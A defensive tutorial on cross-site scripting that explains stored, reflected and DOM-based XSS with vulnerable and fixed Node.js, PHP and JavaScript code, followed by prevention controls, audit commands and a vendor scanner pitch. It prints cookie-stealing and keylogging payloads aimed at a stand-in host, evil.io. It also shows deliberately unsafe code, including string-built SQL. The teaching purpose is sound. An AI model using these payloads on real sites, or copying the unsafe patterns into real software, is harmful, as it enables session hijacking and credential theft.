Cross-Site Scripting (XSS) is a web security vulnerability where attackers inject malicious scripts into web pages viewed by other users. When your application fails to validate or encode user input before rendering it in the browser, that input becomes executable code — stealing session cookies, hijacking accounts, defacing pages, or logging keystrokes in real time. XSS consistently ranks in the OWASP Top 10, is among the most reported vulnerability classes in bug bounty programmes, and remains trivially exploitable in applications built without a security-first mindset. For Indian developers building customer-facing platforms, understanding XSS is non-negotiable.
What Is Cross-Site Scripting and Why It Persists
XSS persists because modern web applications are built around dynamic content: user comments, search terms, profile data, product reviews — all rendered back into the DOM. Every one of those render paths is a potential injection point if developers trust input without validating or encoding it.
The attack surface has grown with single-page applications (SPAs). React, Angular, and Vue provide some protection by default, but developers routinely bypass those safeguards (dangerouslySetInnerHTML, innerHTML, eval(), document.write()) without realising the consequences.
The Three Types of XSS
Stored XSS (Persistent)
Stored XSS — also called persistent XSS — is the most damaging variant. The malicious payload is saved in the server's database (comment fields, user profiles, product reviews, forum posts) and served to every subsequent visitor. One successful injection can compromise thousands of users.
Vulnerable Node.js example:
// DANGEROUS — inserts user comment directly into HTML
app.post('/comment', async (req, res) => {
const { comment } = req.body;
await db.run(`INSERT INTO comments (text) VALUES ('${comment}')`);
res.json({ ok: true });
});
// DANGEROUS — renders raw comment
app.get('/comments', async (req, res) => {
const rows = await db.all('SELECT text FROM comments');
const html = rows.map(r => `<li>${r.text}</li>`).join('');
res.send(`<ul>${html}</ul>`);
});An attacker posts <script>fetch('https://evil.io/steal?c='+document.cookie)</script>. Every visitor's session cookie is exfiltrated.
Fixed version:
const he = require('he'); // HTML-entities encoder
app.get('/comments', async (req, res) => {
const rows = await db.all('SELECT text FROM comments');
const html = rows.map(r => `<li>${he.encode(r.text)}</li>`).join('');
res.send(`<ul>${html}</ul>`);
});Reflected XSS (Non-Persistent)
Reflected XSS occurs when user input is immediately echoed back in the response without storage. The attacker crafts a malicious URL and tricks the victim into clicking it — typically through phishing emails or SMS.
Vulnerable PHP example:
// DANGEROUS — reflects search term directly
<?php
$search = $_GET['q'];
echo "<p>Results for: $search</p>";
?>Attacker sends: https://yoursite.com/search?q=<script>document.location='https://evil.io/steal?c='+document.cookie</script>
Fixed version:
<?php
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<p>Results for: $search</p>";
?>DOM-Based XSS
DOM-based XSS never touches the server. The payload lives entirely in the client-side JavaScript. The browser's DOM manipulation APIs read attacker-controlled data (URL hash, localStorage, postMessage) and write it to the page without sanitisation.
Vulnerable JavaScript:
// DANGEROUS — writes URL fragment directly to DOM
document.getElementById('welcome').innerHTML = decodeURIComponent(location.hash.slice(1));Visiting https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)> executes the payload without any server involvement — no server logs, no WAF inspection of the request body.
Fixed version:
// SAFE — use textContent, never innerHTML for user-controlled data
document.getElementById('welcome').textContent = decodeURIComponent(location.hash.slice(1));How a Stored XSS Attack Flows
graph TD
A[Attacker submits malicious comment] --> B[Server stores payload in DB]
B --> C[Victim visits page with comments]
C --> D[Server returns page with raw payload]
D --> E[Browser executes injected script]
E --> F1[Session cookie sent to attacker server]
E --> F2[Keystrokes logged silently]
E --> F3[Page content defaced]
F1 --> G[Attacker hijacks victim session]
G --> H[Account takeover complete]
style A fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style B fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style D fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style E fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style F1 fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style F2 fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style F3 fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style G fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style H fill:#5f1e1e,stroke:#EF4444,color:#e2e8f0
style C fill:#1e3a5f,stroke:#3B82F6,color:#e2e8f0Know your vulnerabilities before attackers do
Run a free VAPT scan — takes 5 minutes, no signup required.
Book Your Free ScanReal Attack Scenarios
Session and Cookie Theft
The classic XSS payload is a one-liner that exfiltrates the session cookie:
<script>new Image().src="https://evil.io/log?data="+encodeURIComponent(document.cookie)</script>If the cookie lacks the HttpOnly flag, JavaScript can read it. The attacker receives the session token, replays it in their browser, and owns the account — no password required.
Keylogging
More sophisticated attackers use XSS to install a persistent keylogger on a vulnerable page:
<script>
document.addEventListener('keypress', function(e) {
fetch('https://evil.io/keys', { method: 'POST', body: JSON.stringify({ key: e.key, url: location.href }) });
});
</script>This silently records every keystroke — passwords, OTPs, credit card numbers — and ships them off-site.
Page Defacement and Phishing Overlays
Nation-state actors and hacktivists use stored XSS to deface high-traffic pages. More commercially motivated attackers inject fake login overlays on banking or e-commerce portals — the page looks legitimate, but credentials go to the attacker's server.
Cryptocurrency Mining and Malvertising
XSS payloads can load external JavaScript from CDNs, turning every visitor's browser into a CPU miner or redirecting traffic to malvertising networks. For Indian e-commerce founders running on shared infrastructure, this can silently chew through visitor bandwidth and tank trust scores.
XSS Distribution by Type
pie title XSS Vulnerabilities by Type - Bug Bounty Programmes (Approximate)
"Reflected XSS" : 40
"Stored XSS" : 35
"DOM-based XSS" : 25XSS Prevention: Six Controls That Work
1. Output Encoding (The Primary Control)
Encode all user-supplied data before rendering it. The encoding context matters:
| Output Context | Encoding Method | Example Library |
|---|---|---|
| HTML body | HTML entity encoding | he.encode(), htmlspecialchars() |
| HTML attribute | Attribute encoding | OWASP Java Encoder |
| JavaScript string | JS unicode escaping | JSON.stringify() for data |
| CSS value | CSS hex encoding | OWASP Java Encoder |
| URL parameter | Percent encoding | encodeURIComponent() |
2. Content Security Policy (CSP)
CSP is an HTTP response header that tells the browser which script sources are trusted. A strict CSP policy eliminates entire classes of XSS even when encoding is missed:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self';Use nonce-based CSP rather than unsafe-inline. Each request generates a fresh nonce; only inline scripts carrying that nonce execute. This makes injected <script> tags inert.
unsafe-eval or wildcard source domains.3. Input Validation and Allowlisting
Validate on the server, not just the client. Use allowlists (accept only what is expected) rather than denylists (block known-bad strings — trivially bypassed).
// Allowlist: only letters, digits, spaces (for a name field)
const nameRegex = /^[a-zA-Z0-9 '-]{1,100}$/;
if (!nameRegex.test(req.body.name)) {
return res.status(400).json({ error: 'Invalid name' });
}Never rely on strip_tags() or regex-based HTML sanitisation as your only defence — they are consistently bypassed.
4. Framework Auto-Escaping
Modern frameworks auto-escape by default. Respect that:
- React: JSX auto-escapes text interpolation (
{userInput}is safe). Never usedangerouslySetInnerHTMLunless you have sanitised the content with a library likeDOMPurify. - Vue:
{{ expression }}is safe.v-htmldirective is dangerous — avoid it for user content. - Angular: string interpolation and property binding are safe.
bypassSecurityTrustHtml()is not — avoid. - Django/Jinja2:
{{ variable }}auto-escapes. The|safefilter bypasses this — use only for trusted content.
5. HttpOnly and Secure Cookie Flags
Even if XSS executes, HttpOnly cookies cannot be read by JavaScript. This does not prevent all XSS impact, but it stops session-cookie theft — the most common post-exploitation step.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/SameSite=Strict additionally defends against CSRF combined with XSS chains.
6. Sanitise Rich HTML with a Library
If your application genuinely needs users to submit formatted HTML (rich text editors, CMS platforms), use a battle-tested sanitisation library rather than rolling your own:
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'title']
});
document.getElementById('content').innerHTML = cleanHTML;XSS Prevention Controls at a Glance
| Control | Stops Stored | Stops Reflected | Stops DOM-based | Complexity |
|---|---|---|---|---|
| Output encoding | Yes | Yes | Partial | Low |
| Content Security Policy | Yes | Yes | Yes | Medium |
| Input validation | Partial | Partial | No | Low |
| HttpOnly cookies | Partial | Partial | Partial | Very Low |
| Framework auto-escaping | Yes | Yes | No | Low |
| DOMPurify sanitisation | Yes | Yes | Yes | Low |
How Bachao.AI Detects XSS
Bachao.AI — the automated VAPT platform by Dhisattva AI Pvt Ltd — runs over 440 tests per scan, including reflected and stored XSS probes across input fields, headers, URL parameters, JSON API bodies, and file upload handlers. The scanner injects a range of context-aware payloads and watches for reflection in HTML, JavaScript, and HTTP response headers. DOM-based XSS requires authenticated browser-driven testing — the scan workflow includes a headless browser component for this purpose.
For Indian development teams shipping features under time pressure, automated scanning is the only way to maintain coverage across every endpoint without a dedicated red team.
Checking Your Framework Coverage
Different frameworks protect different layers. Audit your codebase for these bypass patterns:
# React: find dangerouslySetInnerHTML usage
grep -r "dangerouslySetInnerHTML" src/
# Vue: find v-html directive
grep -r "v-html" src/
# Angular: find trustHtml bypasses
grep -r "bypassSecurityTrustHtml" src/
# Node.js: find direct HTML string building
grep -r "\.innerHTML\s*=" src/
# Python: find |safe filter in templates
grep -r "|safe" templates/Each hit deserves manual review. Not all are vulnerabilities, but every one is a potential injection point that needs verification.
Reference: OWASP XSS Prevention Cheat Sheet
The definitive developer guidance is the OWASP XSS Prevention Cheat Sheet — maintained by the Open Web Application Security Project and updated continuously. Every Indian developer building customer-facing web applications should treat it as required reading alongside the OWASP Top 10.
Frequently Asked Questions
What is the difference between stored and reflected XSS?
Can React or Angular applications get XSS?
{variable}) but dangerouslySetInnerHTML bypasses this entirely. Angular's template syntax is safe, but bypassSecurityTrustHtml() is not. Vue's v-html directive is dangerous for user content. The framework protects you only when you use its safe APIs — every bypass is a potential XSS vector.What is DOM-based XSS and how is it different?
textContent instead of innerHTML) and Content Security Policy can.Does a Content Security Policy fully prevent XSS?
unsafe-inline, unsafe-eval, or overly permissive source lists) provides little real protection. CSP should be treated as a defence-in-depth layer, not a substitute for output encoding.How do attackers steal session cookies with XSS?
HttpOnly, JavaScript can read it via document.cookie. The attacker's injected script sends the cookie value to a server they control, then replays that cookie in their own browser to impersonate the victim — no password required. Marking session cookies HttpOnly prevents JavaScript from reading them, eliminating this specific attack path.